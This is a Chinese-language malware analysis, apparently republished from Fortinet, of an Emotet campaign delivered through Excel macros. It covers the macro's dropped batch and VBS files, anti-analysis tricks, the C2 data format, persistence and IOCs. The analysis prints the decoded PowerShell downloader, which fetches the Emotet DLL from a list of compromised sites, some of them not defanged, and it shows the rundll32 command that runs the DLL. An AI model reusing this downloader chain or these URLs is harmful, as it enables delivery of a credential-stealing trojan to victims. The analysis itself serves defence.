目录导航
受影响的平台: Microsoft Windows
受影响的各方: 64 位 Windows 用户
影响:控制受害者的设备并收集敏感信息
严重性级别:严重
最近,Fortinet 的 FortiGuard 实验室捕获了 500 多个 Microsoft Excel 文件,这些文件参与了将新的 Emotet 木马传送到受害者设备上的活动。
Emotet 被称为模块化木马,于 2014 年年中首次被发现。从那时起,它变得非常活跃,不断自我更新。网络安全新闻也不时强调这一点。Emotet 使用电子邮件等社交工程来引诱收件人打开附加的文档文件(包括 Word、Excel、PDF 等)或单击电子邮件内容中的链接,将 Emotet 的最新变体下载到受害者的设备上然后执行它。
这一次,我从捕获的样本中抓取了一个 Excel 文件,并对该活动进行了深入研究。在我分析的第一部分中,您可以了解:如何利用 Excel 文件传播 Emotet,Emotet 在此变体中使用了哪些反分析技术,它如何在受害者的设备上保持持久性,此 Emotet 变体如何与它的 C2 服务器,以及其他模块如何在受害者的系统上交付、加载和执行。
查看 Excel 文件

我已在“宏设置”中将 Excel 的宏选项设置为“禁用所有带有通知的宏”。这就是为什么当打开的 Excel 文件包含宏时,它会显示黄色的“安全警告”栏,如图 1.1 所示。此图显示了用于诱使受害者单击“启用内容”按钮以查看 Excel 文件的受保护内容的虚假消息。
恶意宏有一个名为“Workbook_Open()”的函数,当 Excel 文件打开时会在后台自动执行。它调用其他本地函数将数据写入“C:\ProgramData\”文件夹中的两个文件:“uidpjewl.bat”和“tjspowj.vbs”。从该 Excel 文件的多个单元格中读出写入的数据。最后,宏使用“wscript.exe”执行“tjspowj.vbs”文件。有关详细信息,请参阅图 1.2。

VBS 和 PowerShell
“tjspowj.vbs”中的代码被混淆了。请参见图 2.1。上半部分是原始代码,下半部分是规范化代码。

代码非常简单。它运行早期提取的“uidpjewl.bat”文件,该文件下载 Emotet 有效负载文件。“uidpjewl.bat”文件是一个DOS批处理文件,包含多次编码的PowerShell代码。为了更好地理解它的意图,我在下面对其进行了解码:
$MJXdfshDrfGZses4="hxxps://youlanda[.]org/eln-images/n8DPZISf/,hxxp://rosevideo[.]net/eln-images/EjdCoMlY8Gy/,hxxp://vbaint[.]com/eln-images/H2pPGte8XzENC/,hxxps://framemakers[.]us/eln-images/U5W2IGE9m8i9h9r/,hxxp://niplaw[.]com/asolidfoundation/yCE9/,http://robertmchilespe[.]com/cgi/3f/,http://vocoptions[.]net/cgi/ifM9R5ylbVpM8hfR/,http://missionnyc[.]org/ fonts/JO5/,http://robertflood[.]us/eln-images/DGI2YOkSc99XPO/,http://mpmcomputing[.]com/fonts/fJJrjqpIY3Bt3Q/,http://dadsgetinthegame[.]com/eln-images/tAAUG/,http://smbservices[.]net/cgi/JO01ckuwd/,http://stkpointers[.]com/eln-images/D/,hxxp://rosewoodcraft[.]com/Merchant2/5.00/PGqX/".sPLIt(",");
foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){
$GweYH57sedswd=("c:\programdata\puihoud.dll");
invoke-webrequest -uri $yIdsRhye34syufgxjcdf -outfile $GweYH57sedswd;
iF(test-path $GweYH57sedswd) {
if((get-item $GweYH57sedswd).length -ge 47436) { break; }
}
}
它尝试从一组网站下载 Emotet(到本地文件“c:\programdata\puihoud.dll”,在 PowerShell 中硬编码),直到成功完成任何下载。
同时,调用者“tjspowj.vbs”文件负责运行下载的Emotet,命令为
cmd /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\puihoud.dll,tjpleowdsyf
“C:\Windows\SysWOW64\”是微软为存储32位文件而创建的系统文件夹。“WOW64”是允许 32 位 Windows 应用程序在 64 位 Windows 上运行的 x86 模拟器。它只存在于 64 位架构的 Windows 中。换句话说,虽然下载的 Emotet 文件是为 32 位架构编译的,但这个变种只影响 64 位 Windows 用户。由于找不到文件,它在 32 位 Windows 上运行时终止执行并弹出错误消息。
“rundll32.exe”是加载和运行 32 位动态链接库 (DLL) 文件的系统文件。它使用命令行语法“rundll32.exe DLLname,<Export Function>”,其中“Export Function”是可选的。“puihoud.dll”是此 Emotet 的 DLL 名称,随后的导出函数名称(“tjpleowdsyf”)是一个随机字符串。在一个分析工具中,我发现它只有一个导出函数,叫做“DllRegisterServer()”。让我们看看随机导出函数会发生什么。
在 Rundll32 中启动 Emotet
一旦 Emotet 文件(“puihoud.dll”)被“rundll32.exe”加载,它的入口点函数被第一次调用。然后它调用 DllMain() 函数,从名为“HITS”的“资源”加载和解密一个 32 位 Dll 到其内存中。解密后的 Dll 是这个 Emotet 的核心,由于其代码中包含硬编码的常量字符串,在本次分析中将其称为“X.dll”,如下所示。
10024030 ; Export Ordinals Table for X.dll
10024032 aX_dll db ‘X.dll’,0
10024038 aDllregisterser db ‘DllRegisterServer’,0

图 3.1 显示了用于解密和部署解密后的“X.dll”的相关函数,该“X.dll”位于内存中。“X.dll”的EntryPoint() 函数在其部署后被调用。
“X.dll”检查命令行参数的导出函数名称是否为“DllRegisterServer”。如果没有,它会再次使用“DllRegisterServer”而不是随机字符串运行命令行,例如“C:\Windows\system32\rundll32.exe c:\programdata\puihoud.dll,DllRegisterServer”(见图中的步骤 1 和 2 3.3)。然后它调用 ExitProcess() 退出第一个“rundll32.exe”。在图 3.2 中,它将调用 API CreateProcessW() 来运行新命令。


当 Emotet 使用“DllRegisterServer”导出函数运行时,它通常会从 X.dll 的 EntryPoint() 以及 puihoud.dll 的 EntryPoint() 退出(图 3.3 中的步骤 3)。接下来,rundll32 调用 API GetProcAddress() 从“puihoud.dll”中收集导出函数“DllRegisterServer”并调用它。最后,puihoud.dll!DllRegisterServer 调用 X.dll!DllRegisterServer()(图 3.3 中的步骤 4)。
这也是 rundll32.exe 加载和运行具有导出功能的 dll 文件的方式。
X.dll!DllRegisterServer() 是在受害者设备上执行恶意操作的真正起点。
反分析技术
为了保护其代码不被分析,Emotet 使用了反分析技术。在本节中,我将解释此变体使用了哪些此类技术。
- 代码流被混淆
在大多数函数中,它将代码流与大量“goto”语句混合在一起。它有一个局部变量,我称之为“switch_number”,它包含一个动态数字来控制它如何执行代码。
逻辑是所有代码都包含在“while无限循环”语句中,该语句根据“switch_number”的值确定进入(“goto”)哪个代码流。并且“switch_number”每次使用后都会被修改,然后一旦代码分支任务完成,它就会返回“while”语句再次检查“switch_number”。
这种技术确实给试图分析函数意图并跟踪其代码的安全研究人员带来了麻烦。图 4.1 是 C 中的伪代码,显示了混淆的代码流。

- 字符串被加密
所有常量字符串都经过加密,并且仅在使用前才解密。常量字符串通常是研究人员快速定位恶意软件关键点的非常有用的提示。
- 常数数字被混淆
通常,常数对研究人员猜测代码的用途很有用。这是一个例子。指令“mov [esp+2ACh+var_1A0], 2710h”已被混淆,如下面的三个指令所示。
mov [esp+2ACh+var_1A0], 387854h
or [esp+2ACh+var_1A0], 0F1FDFF8Dh
xor [esp+2ACh+var_1A0], 0F1FDD8CDh
- 所有 API 均已隐藏
API 是使用 API 名称和函数所属模块名称的哈希码获得的。Emotet每次需要调用一个API时,都会调用一个本地函数在EAX寄存器中获取,然后调用。图 4.2 是调用 API GetCommandLineW() 的示例,其中 0xB03E1C69 是模块“kernel32”的哈希码,0x4543B55E 是“GetCommandLineW”的哈希码。

与 C2 服务器通信
一旦 Emotet 从受害者的设备收集了基本信息,它就会调用 API BCryptEncrypt() 来加密数据。让我们看一下收集到的数据中包含的数据类型,如图5.1所示。

内存中的 60H 字节数据是要加密的明文数据。让我解释一下大部分数据是什么。
0x20在 offset+4 处是 sha256 哈希码的大小,包括从 offset+8 到 offset+0x27 (A0 C9 … 68 F8) 的字节。那是整个以下数据的 sha256 哈希码,从 offset+28h 开始。
0x2C,在 offset+28h 处,是后面数据的大小。接下来的0x10是受害者 ID(“BOBSXPC_9C09B592”)的长度,它是计算机名称和系统驱动程序卷号的组合。为了获取此信息,Emotet 调用 GetComputerName()、GetWindowsDirectoryW() 和 GetVolumeInformationW() 等 API。
以下 dword 0x29C220DD是 Emotet Dll 完整路径的哈希码。0x13465AA是在其代码中定义的常数值。它可能是此 Emotet 的恶意软件 ID。0x2710是另一个常数值,我想它是这个变体的一种版本。0x19E7D是受害者系统信息的组合,包括Windows版本、架构等。要获取此信息,它需要调用 API RtlGetVersion() 和 GetNativeSystemInfo()。offset+50h 处的0x01是当前进程 ID (rundll32.exe) 相关值。
最后一个数据,从 offset+58h 开始,是无意义的填充(AB AB AB…)。
加密后的二进制数据将通过调用 API CryptBinaryToStringW() 转换为 base64 字符串。base64 字符串作为 HTTP Get 请求中的“Cookies”值提交给 C2 服务器。

在图 5.2 所示的示例中,您可能已经注意到,Cookie 名称和 URL 由 Emotet 随机化以绕过网络安全设备的检测。
总共有 49 个 C2 服务器(IP 地址和端口)在此变体中进行硬编码和加密。有关所有 IP 地址和端口,请参阅“IOC”部分下的“C2 服务器列表”。
C2 服务器检测提交的数据以确定后续步骤,包括回复 Emotet 模块和命令以执行进一步操作。
回复的数据是 HTTP 响应正文中的加密二进制数据。在下面的图 5.3 中,标记的框是刚刚解密后的数据示例。

解密后的数据长度为 60H,包含验证数据和控制数据。
开头的0x40是验证数据的大小,签名数据(31 1B … 3C 6D),是控制数据的签名哈希。接收到的数据必须通过校验,否则丢包。控制数据从偏移+54H 开始到结束。0x8是后面数据的大小。此数据包中的控制数据是两个 dword 数字 — 0x00。
第一个 0x00 是一个标志,可以是 0、1 或 8。
如果标志为 8,Emotet 将从受害者的设备中卸载自身,包括从系统注册表中删除自动运行项,删除它创建的文件或文件夹,以及删除 Emotet Dll 文件。
如果标志为 0 并且第二个 dword 不为 0(它应该是附加到此数据包的模块的大小),它会在受害者的设备上执行该模块。
如果标志为 1,则转到标志 0 的分支。我将在本分析的下一部分中更详细地解释这部分。
迁移和持久化
一旦 Emotet 收到来自 C2 服务器的有效响应,它会将下载的 Emotet dll 文件从“C:\Windows\ProgramData\puihoud.dll”(在我的分析环境中)重新定位到“%LocalAppData%”文件夹中。此外,为了留在受害者的设备中,Emotet 通过将重新定位的文件添加到系统注册表中的自动运行组中来使自己持久化。Emotet 然后能够在系统启动时运行。图 6.1 是注册表编辑器的屏幕截图,显示了系统注册表中的自动运行项。

结论
在这篇文章中,我们浏览了捕获的 Excel 文件中的恶意宏,该文件通过两个提取的文件“uidpjewl.bat”和“tjspowj.vbs”下载 Emotet。
然后我们了解了下载的 Emotet Dll 文件如何在 rundll32.exe 进程中运行,以及它如何从其“资源”中提取 Emotet 核心 X.dll。
我还解释了 Emotet 使用哪些反分析技术来保护其代码不被分析。
最后,我详细阐述了 Emotet 从受害者的系统中收集了什么样的数据,以及二进制数据是如何加密并转换为 base64 字符串并最终通过 HTTP 数据包提交给其 C2 服务器的。
在本分析的下一部分,我将重点关注从 Emotet 的 C2 服务器返回的那些模块以及它们是如何被 Emotet 执行的,以及它们能够从受害者的设备中窃取哪些敏感数据。
Fortinet 保护
Fortinet 客户已经通过 FortiGuard 的 Web 过滤、防病毒、FortiMail、FortiClient、FortiEDR 和 CDR(内容解除和重建)服务免受这种恶意软件的侵害,如下所示:
Excel 样本中的恶意宏可以通过 FortiGuard CDR(内容解除和重建)服务解除。
所有相关的 URL 都被FortiGuard Web Filtering 服务评为“恶意网站”。
捕获的 Excel 样本和下载的 Emotet dll 文件被检测为“ VBA/Emotet.2826!tr.dldr ”和“ W32/Emotet.B185!tr ”,并被 FortiGuard AntiVirus 服务阻止。
FortiEDR 根据其行为将 Excel 文件和 Emotet dll 文件检测为恶意文件。
IOCs(侵害指标)
活动中涉及的 URL:
hxxps[:]//youlanda[.]org/eln-images/n8DPZISf/
hxxp[:]//rosevideo[.]net/eln-images/EjdCoMlY8Gy/
hxxp[:]//vbaint[.]com/eln-images/H2pPGte8XzENC/
hxxps[:]//framemakers[.]us/eln-images/U5W2IGE9m8i9h9r/
hxxp[:]//niplaw[.]com/asolidfoundation/yCE9/
hxxp[:]//robertmchilespe[.]com/cgi/3f/
hxxp[:]//vocoptions[.]net/cgi/ifM9R5ylbVpM8hfR/
hxxp[:]//missionnyc[.]org/fonts/JO5/
hxxp[:]//robertflood[.]us/eln-images/DGI2YOkSc99XPO/
hxxp[:]//mpmcomputing[.]com/fonts/fJJrjqpIY3Bt3Q/
hxxp[:]//dadsgetinthegame[.]com/eln-images/tAAUG/
hxxp[:]//smbservices[.]net/cgi/JO01ckuwd/
hxxp[:]//stkpointers[.]com/eln-images/D/
hxxp[:]//rosewoodcraft[.]com/Merchant2/5[.]00/PGqX/
此变体中的 C2 服务器列表:(共 49 个)
185[.]248[.]140[.]40:443
8[.]9 [.]11 [.]48:443
200[.]17 [.]134 [.]35:7080
207[.]38 [.]84 [.]195:8080
79[.]172 [.]212 [.]216:8080
45[.]176 [.]232 [.]124:443
45[.]118 [.]135 [.]203:7080
162[.]243 [.]175 [.]63:443
110[.]232[.]117[.]186:8080
103[.]75[.]201[.]4:443
195[.]154[.]133[.]20:443
160[.]16[.]102[.]168:80
164[.]68[.]99[.]3:8080
131[.]100[.]24[.]231:80
216[.]158[.]226[.]206:443
159[.]89[.]230[.]105:443
178[.]79[.]147[.]66:8080
178[.]128[.]83[.]165:80
212[.]237[.]5[.]209:443
82[.]165[.]152[.]127:8080
50[.]116[.]54[.]215:443
58[.]227[.]42[.]236:80
119[.]235[.]255[.]201:8080
144[.]76[.]186[.]49:8080
138[.]185[.]72[.]26:8080
162[.]214[.]50[.]39:7080
81[.]0[.]236[.]90:443
176[.]104[.]106[.]96:8080
144[.]76[.]186[.]55:7080
129[.]232[.]188[.]93:443
212[.]24[.]98[.]99:8080
203[.]114[.]109[.]124:443
103[.]75[.]201[.]2:443
173[.]212[.]193[.]249:8080
41[.]76[.]108[.]46:8080
45[.]118[.]115[.]99:8080
158[.]69[.]222[.]101:443
107[.]182[.]225[.]142:8080
212[.]237[.]17[.]99:8080
212[.]237[.]56[.]116:7080
159[.]8[.]59[.]82:8080
46[.]55[.]222[.]11:443
104[.]251[.]214[.]46:8080
31[.]24[.]158[.]56:8080
153[.]126[.]203[.]229:8080
51[.]254[.]140[.]238:7080
185[.]157[.]82[.]211:8080
217[.]182[.]143[.]207:443
45[.]142[.]114[.]231:8080
参与活动的 SHA-256 示例:
[捕获的 Excel 文件]
25271BB2C848A32229EE7D39162E32F5F74580E43F5E24A93E6057F7D15524F0
C176C2B0336EA70C0D875F5C79D00771D59891560283364A81B2EDE495CDE62F
9C62600A0885E39BD39748150B9B64155C9EA2DBBCDD43241EB24C8E098DE782
36C2119C68B3C79B58417CADEA3547F8BBECD2DF02FEB5F04EE798DFA621B66D
B380DFC348541691E4084689405D8ACFAEAFDDD92EFF95566AFF2412F620E2DC
68AA775EC46C8B0911542E471F9A7F39D538001BD8552898416310436F58B95A
B14AB6A611A93B25DA2815D2071AA5B76085414BF6AD32432FC0809B3610DB05
81E9D87903290E4A525BEB865F5CCCCA9838BDD51238DC4FD0B9AE623BF609BB
B019A867D167B6088EA18B3BD2F1A67706505AACC9542C4017E757F0381B3F0A
F4626135C820C4784E1452E81FE25D291EA3A6326E906A2E15AE960EEA3276E4
[puihoud.dll (下载的Emotet)]
A7C6ABBC3241B6CFCFA27158E80BD50D3C9F1AE97E86481CCABD5B2337670690
转载请注明出处及链接